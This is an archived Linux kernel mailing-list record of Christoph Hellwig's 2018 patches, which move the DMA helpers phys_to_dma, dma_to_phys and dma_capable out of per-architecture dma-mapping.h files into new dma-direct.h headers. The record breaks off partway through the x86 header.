DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=m0FQ4a4ZxoB2cHk6bXDHjO6pdh6D5z/ak3wK1MTP8hI=;
	b=gf2sM1SNMhwTh1OQNKwTKN7ur
	h5gYlJeIrZwZd+5CCxYmpszd0FUT5FtqNCKaMH3BWuRfUgyxZ9k8xsqmxswkOYbN8LtOYXUsNc+4h
	M5sR3CXn8bMJo60T/DQFv6yfoa9cFuPDLm6es2WjMhWVVfelwCIkHQUWpjhs4cbG/TFOVoe2/2JB/
	IjTTuhH3vIbJx3sSajTRH7nNmlPiWaM5enUU76Bywv3pkq160yH8hsHaHyz8LUsXPfKtKBWkjsCeB
	7LCMReltY3ZlyJJc7f+Gek+AXdeGK9Rv8Eju5AVsyN89/jDeARfz025p7nl6jEz/J4waZCD0qIewd
	glYYKTtyg==;
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBJe-0004GQ-TN; Wed, 10 Jan 2018 08:00:55 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22029 gmane.linux.ports.mips.general:63195 gmane.linux.ports.ia64:28508 gmane.linux.ports.sh.devel:56240 gmane.linux.ports.sparc:27191 gmane.linux.kernel.cross-arch:41253 gmane.linux.ports.hexagon:1509 gmane.linux.kernel.arc:3293 gmane.linux.kernel.metag:1585 gmane.linux.ports.arm.kernel:625008 gmane.linux.ports.parisc:28184 gmane.linux.kernel:2662715 gmane.linux.ports.alpha:4683 gmane.linux.ports.ppc64.devel:151832
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22029>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/s390/include/asm/dma-mapping.h | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
index eaf490f9c5bc..2ec7240c1ada 100644
--- a/arch/s390/include/asm/dma-mapping.h
+++ b/arch/s390/include/asm/dma-mapping.h
@@ -16,11 +16,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &dma_noop_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #endif /* _ASM_S390_DMA_MAPPING_H */
-- 
2.14.2


From - Thu Nov 08 21:40:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 11/33] dma-mapping: move swiotlb arch helpers to a new header
Date: Wed, 10 Jan 2018 09:00:05 +0100
Lines: 771
Approved: news@gmane.org
Message-ID: <20180110080027.13879-12-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571170 3008 195.159.176.226 (10 Jan 2018 07:59:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:30 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
        linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
        linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
        linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
        linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
        linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
        x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Jan 10 08:59:24 2018
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eZBI8-00083b-Uw
	for glkm-linux-metag@m.gmane.org; Wed, 10 Jan 2018 08:59:21 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S965326AbeAJIBX (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Wed, 10 Jan 2018 03:01:23 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:37479 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965157AbeAJIBM (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Wed, 10 Jan 2018 03:01:12 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=Kv4SsLqnU/WwHiAJ90njeFom65Azwk4VfG+bZiaTqfs=; b=Dqp7OqBzMKuYPWycr/pXtuIw5
        uxVqjb1Xn42f1Jsisx4vAnOtwT+RJRHjPzQVuhPA7WS7Etg/A9BHKev8qsfOuw/fgwPkAWlDsO7GJ
        2VPVmwjW6AxjP96NRvsATAqH0EuoMhL49TkzqtOupNRtC0SwgwdxAQYS1JtxGFplZwq2DdjFAwaIZ
        bs1UB/4RbDP7KyCDSwS4UBD23kDRcOlzJtI+EknpzpQoDb+No5rJa8H3WbpxxKc10U0dcT+cVht+B
        OlrX2nY+BpeHHaPnb1D4PxmoOGhRkgtveyQWaDOtvd3Wl0OaC7yDrvMSgAiWgOFpfziHS32hv3HNb
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBJn-0004TX-Vv; Wed, 10 Jan 2018 08:01:04 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1586 gmane.linux.kernel.iommu:22030 gmane.linux.ports.alpha:4684 gmane.linux.kernel.arc:3294 gmane.linux.ports.arm.kernel:625009 gmane.linux.ports.hexagon:1510 gmane.linux.ports.ia64:28509 gmane.linux.ports.mips.general:63196 gmane.linux.ports.parisc:28185 gmane.linux.ports.ppc64.devel:151833 gmane.linux.ports.sh.devel:56241 gmane.linux.ports.sparc:27192 gmane.linux.kernel.cross-arch:41254 gmane.linux.kernel:2662716
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1586>

phys_to_dma, dma_to_phys and dma_capable are helpers published by
architecture code for use of swiotlb and xen-swiotlb only.  Drivers are
not supposed to use these directly, but use the DMA API instead.

Move these to a new asm/dma-direct.h helper, included by a
linux/dma-direct.h wrapper that provides the default linear mapping
unless the architecture wants to override it.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 MAINTAINERS                                        |  1 +
 arch/Kconfig                                       |  4 +++
 arch/arm/Kconfig                                   |  1 +
 arch/arm/include/asm/dma-direct.h                  | 36 ++++++++++++++++++++++
 arch/arm/include/asm/dma-mapping.h                 | 31 -------------------
 arch/arm64/include/asm/dma-mapping.h               | 22 -------------
 arch/arm64/mm/dma-mapping.c                        |  2 +-
 arch/ia64/include/asm/dma-mapping.h                | 18 -----------
 arch/mips/Kconfig                                  |  2 ++
 arch/mips/include/asm/dma-direct.h                 |  1 +
 arch/mips/include/asm/dma-mapping.h                |  8 -----
 .../include/asm/mach-cavium-octeon/dma-coherence.h |  8 +++++
 arch/mips/include/asm/mach-generic/dma-coherence.h | 12 --------
 .../include/asm/mach-loongson64/dma-coherence.h    |  8 +++++
 arch/powerpc/Kconfig                               |  1 +
 arch/powerpc/include/asm/dma-direct.h              | 29 +++++++++++++++++
 arch/powerpc/include/asm/dma-mapping.h             | 25 ---------------
 arch/tile/include/asm/dma-mapping.h                | 18 -----------
 arch/unicore32/include/asm/dma-mapping.h           | 18 -----------
 arch/x86/Kconfig                                   |  1 +
 arch/x86/include/asm/dma-direct.h                  | 30 ++++++++++++++++++
 arch/x86/include/asm/dma-mapping.h                 | 26 ----------------
 arch/x86/kernel/amd_gart_64.c                      |  1 +
 arch/x86/kernel/pci-dma.c                          |  2 +-
 arch/x86/kernel/pci-nommu.c                        |  2 +-
 arch/x86/kernel/pci-swiotlb.c                      |  2 +-
 arch/x86/mm/mem_encrypt.c                          |  2 +-
 arch/x86/pci/sta2x11-fixup.c                       |  1 +
 arch/xtensa/include/asm/dma-mapping.h              | 10 ------
 drivers/crypto/marvell/cesa.c                      |  1 +
 drivers/mtd/nand/qcom_nandc.c                      |  1 +
 drivers/xen/swiotlb-xen.c                          |  2 +-
 include/linux/dma-direct.h                         | 32 +++++++++++++++++++
 lib/swiotlb.c                                      |  2 +-
 34 files changed, 165 insertions(+), 195 deletions(-)
 create mode 100644 arch/arm/include/asm/dma-direct.h
 create mode 100644 arch/mips/include/asm/dma-direct.h
 create mode 100644 arch/powerpc/include/asm/dma-direct.h
 create mode 100644 arch/x86/include/asm/dma-direct.h
 create mode 100644 include/linux/dma-direct.h

diff --git a/MAINTAINERS b/MAINTAINERS
index 95c3fa1f520f..d2cfdcce1db5 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4338,6 +4338,7 @@ F:	lib/dma-noop.c
 F:	lib/dma-virt.c
 F:	drivers/base/dma-mapping.c
 F:	drivers/base/dma-coherent.c
+F:	include/linux/dma-direct.h
 F:	include/linux/dma-mapping.h
 
 DME1737 HARDWARE MONITOR DRIVER
diff --git a/arch/Kconfig b/arch/Kconfig
index 400b9e1b2f27..3edf118ad777 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -938,6 +938,10 @@ config STRICT_MODULE_RWX
 	  and non-text memory will be made non-executable. This provides
 	  protection against certain security exploits (e.g. writing to text)
 
+# select if the architecture provides an asm/dma-direct.h header
+config ARCH_HAS_PHYS_TO_DMA
+	bool
+
 config ARCH_HAS_REFCOUNT
 	bool
 	help
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 51c8df561077..00d889a37965 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -8,6 +8,7 @@ config ARM
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_SET_MEMORY
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
 	select ARCH_HAS_STRICT_MODULE_RWX if MMU
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
diff --git a/arch/arm/include/asm/dma-direct.h b/arch/arm/include/asm/dma-direct.h
new file mode 100644
index 000000000000..5b0a8a421894
--- /dev/null
+++ b/arch/arm/include/asm/dma-direct.h
@@ -0,0 +1,36 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef ASM_ARM_DMA_DIRECT_H
+#define ASM_ARM_DMA_DIRECT_H 1
+
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	unsigned int offset = paddr & ~PAGE_MASK;
+	return pfn_to_dma(dev, __phys_to_pfn(paddr)) + offset;
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
+{
+	unsigned int offset = dev_addr & ~PAGE_MASK;
+	return __pfn_to_phys(dma_to_pfn(dev, dev_addr)) + offset;
+}
+
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	u64 limit, mask;
+
+	if (!dev->dma_mask)
+		return 0;
+
+	mask = *dev->dma_mask;
+
+	limit = (mask + 1) & ~mask;
+	if (limit && size > limit)
+		return 0;
+
+	if ((addr | (addr + size - 1)) & ~mask)
+		return 0;
+
+	return 1;
+}
+
+#endif /* ASM_ARM_DMA_DIRECT_H */
diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index daf837423a76..5fb1b7fbdfbe 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -109,37 +109,6 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	unsigned int offset = paddr & ~PAGE_MASK;
-	return pfn_to_dma(dev, __phys_to_pfn(paddr)) + offset;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
-{
-	unsigned int offset = dev_addr & ~PAGE_MASK;
-	return __pfn_to_phys(dma_to_pfn(dev, dev_addr)) + offset;
-}
-
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	u64 limit, mask;
-
-	if (!dev->dma_mask)
-		return 0;
-
-	mask = *dev->dma_mask;
-
-	limit = (mask + 1) & ~mask;
-	if (limit && size > limit)
-		return 0;
-
-	if ((addr | (addr + size - 1)) & ~mask)
-		return 0;
-
-	return 1;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) { }
 
 /**
diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index eada887a93bf..400fa67d3b5a 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -50,28 +50,6 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	dma_addr_t dev_addr = (dma_addr_t)paddr;
-
-	return dev_addr - ((dma_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
-{
-	phys_addr_t paddr = (phys_addr_t)dev_addr;
-
-	return paddr + ((phys_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
-}
-
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size)
 {
 }
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index b45c5bcaeccb..f3a637b98487 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -24,7 +24,7 @@
 #include <linux/export.h>
 #include <linux/slab.h>
 #include <linux/genalloc.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/dma-contiguous.h>
 #include <linux/vmalloc.h>
 #include <linux/swiotlb.h>
diff --git a/arch/ia64/include/asm/dma-mapping.h b/arch/ia64/include/asm/dma-mapping.h
index c1bab526a046..eabee56d995c 100644
--- a/arch/ia64/include/asm/dma-mapping.h
+++ b/arch/ia64/include/asm/dma-mapping.h
@@ -27,22 +27,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return platform_dma_get_ops(NULL);
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-
 #endif /* _ASM_IA64_DMA_MAPPING_H */
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 350a990fc719..4b0c26b2e9b7 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -429,6 +429,7 @@ config MACH_LOONGSON32
 
 config MACH_LOONGSON64
 	bool "Loongson-2/3 family of machines"
+	select ARCH_HAS_PHYS_TO_DMA
 	select SYS_SUPPORTS_ZBOOT
 	help
 	  This enables the support of Loongson-2/3 family of machines.
@@ -877,6 +878,7 @@ config MIKROTIK_RB532
 config CAVIUM_OCTEON_SOC
 	bool "Cavium Networks Octeon SoC based boards"
 	select CEVT_R4K
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_PHYS_ADDR_T_64BIT
 	select DMA_COHERENT
 	select SYS_SUPPORTS_64BIT_KERNEL
diff --git a/arch/mips/include/asm/dma-direct.h b/arch/mips/include/asm/dma-direct.h
new file mode 100644
index 000000000000..f32f15530aba
--- /dev/null
+++ b/arch/mips/include/asm/dma-direct.h
@@ -0,0 +1 @@
+#include <asm/dma-coherence.h>
diff --git a/arch/mips/include/asm/dma-mapping.h b/arch/mips/include/asm/dma-mapping.h
index 0d9418d264f9..676c14cfc580 100644
--- a/arch/mips/include/asm/dma-mapping.h
+++ b/arch/mips/include/asm/dma-mapping.h
@@ -17,14 +17,6 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return mips_dma_map_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size <= *dev->dma_mask;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
 #define arch_setup_dma_ops arch_setup_dma_ops
diff --git a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
index 9110988b92a1..f00833acb626 100644
--- a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
+++ b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
@@ -61,6 +61,14 @@ static inline void plat_post_dma_flush(struct device *dev)
 {
 }
 
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size <= *dev->dma_mask;
+}
+
 dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
 phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
 
diff --git a/arch/mips/include/asm/mach-generic/dma-coherence.h b/arch/mips/include/asm/mach-generic/dma-coherence.h
index 61addb1677e9..8ad7a40ca786 100644
--- a/arch/mips/include/asm/mach-generic/dma-coherence.h
+++ b/arch/mips/include/asm/mach-generic/dma-coherence.h
@@ -70,16 +70,4 @@ static inline void plat_post_dma_flush(struct device *dev)
 }
 #endif
 
-#ifdef CONFIG_SWIOTLB
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-#endif
-
 #endif /* __ASM_MACH_GENERIC_DMA_COHERENCE_H */
diff --git a/arch/mips/include/asm/mach-loongson64/dma-coherence.h b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
index 1602a9e9e8c2..5cfda8f893e9 100644
--- a/arch/mips/include/asm/mach-loongson64/dma-coherence.h
+++ b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
@@ -17,6 +17,14 @@
 
 struct device;
 
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size <= *dev->dma_mask;
+}
+
 extern dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
 extern phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
 static inline dma_addr_t plat_map_dma_mem(struct device *dev, void *addr,
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index c51e6ce42e7a..887285eb684a 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -139,6 +139,7 @@ config PPC
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_FORTIFY_SOURCE
 	select ARCH_HAS_GCOV_PROFILE_ALL
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_PMEM_API                if PPC64
 	select ARCH_HAS_SCALED_CPUTIME		if VIRT_CPU_ACCOUNTING_NATIVE
 	select ARCH_HAS_SG_CHAIN
diff --git a/arch/powerpc/include/asm/dma-direct.h b/arch/powerpc/include/asm/dma-direct.h
new file mode 100644
index 000000000000..a5b59c765426
--- /dev/null
+++ b/arch/powerpc/include/asm/dma-direct.h
@@ -0,0 +1,29 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef ASM_POWERPC_DMA_DIRECT_H
+#define ASM_POWERPC_DMA_DIRECT_H 1
+
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+#ifdef CONFIG_SWIOTLB
+	struct dev_archdata *sd = &dev->archdata;
+
+	if (sd->max_direct_dma_addr && addr + size > sd->max_direct_dma_addr)
+		return false;
+#endif
+
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size - 1 <= *dev->dma_mask;
+}
+
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	return paddr + get_dma_offset(dev);
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
+{
+	return daddr - get_dma_offset(dev);
+}
+#endif /* ASM_POWERPC_DMA_DIRECT_H */
diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index 592c7f418aa0..f6ab51205a85 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -112,31 +112,6 @@ extern int dma_set_mask(struct device *dev, u64 dma_mask);
 
 extern u64 __dma_get_required_mask(struct device *dev);
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-#ifdef CONFIG_SWIOTLB
-	struct dev_archdata *sd = &dev->archdata;
-
-	if (sd->max_direct_dma_addr && addr + size > sd->max_direct_dma_addr)
-		return false;
-#endif
-
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr + get_dma_offset(dev);
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr - get_dma_offset(dev);
-}
-
 #define ARCH_HAS_DMA_MMAP_COHERENT
 
 #endif /* __KERNEL__ */
diff --git a/arch/tile/include/asm/dma-mapping.h b/arch/tile/include/asm/dma-mapping.h
index 97ad62878290..75b8aaa4e70b 100644
--- a/arch/tile/include/asm/dma-mapping.h
+++ b/arch/tile/include/asm/dma-mapping.h
@@ -44,26 +44,8 @@ static inline void set_dma_offset(struct device *dev, dma_addr_t off)
 	dev->archdata.dma_offset = off;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #define HAVE_ARCH_DMA_SET_MASK 1
 int dma_set_mask(struct device *dev, u64 mask);
 
diff --git a/arch/unicore32/include/asm/dma-mapping.h b/arch/unicore32/include/asm/dma-mapping.h
index ac608c2f6af6..5cb250bf2d8c 100644
--- a/arch/unicore32/include/asm/dma-mapping.h
+++ b/arch/unicore32/include/asm/dma-mapping.h
@@ -25,24 +25,6 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &swiotlb_dma_map_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (dev && dev->dma_mask)
-		return addr + size - 1 <= *dev->dma_mask;
-
-	return 1;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
 #endif /* __KERNEL__ */
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index d4fc98c50378..f6f4328103c0 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -54,6 +54,7 @@ config X86
 	select ARCH_HAS_FORTIFY_SOURCE
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_KCOV			if X86_64
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_PMEM_API		if X86_64
 	# Causing hangs/crashes, see the commit that added this change for details.
 	select ARCH_HAS_REFCOUNT
diff --git a/arch/x86/include/asm/dma-direct.h b/arch/x86/include/asm/dma-direct.h
new file mode 100644
index 000000000000..1295bc622ebe
--- /dev/null
+++ b/arch/x86/include/asm/dma-direct.h
@@ -0,0 +1,30 @@
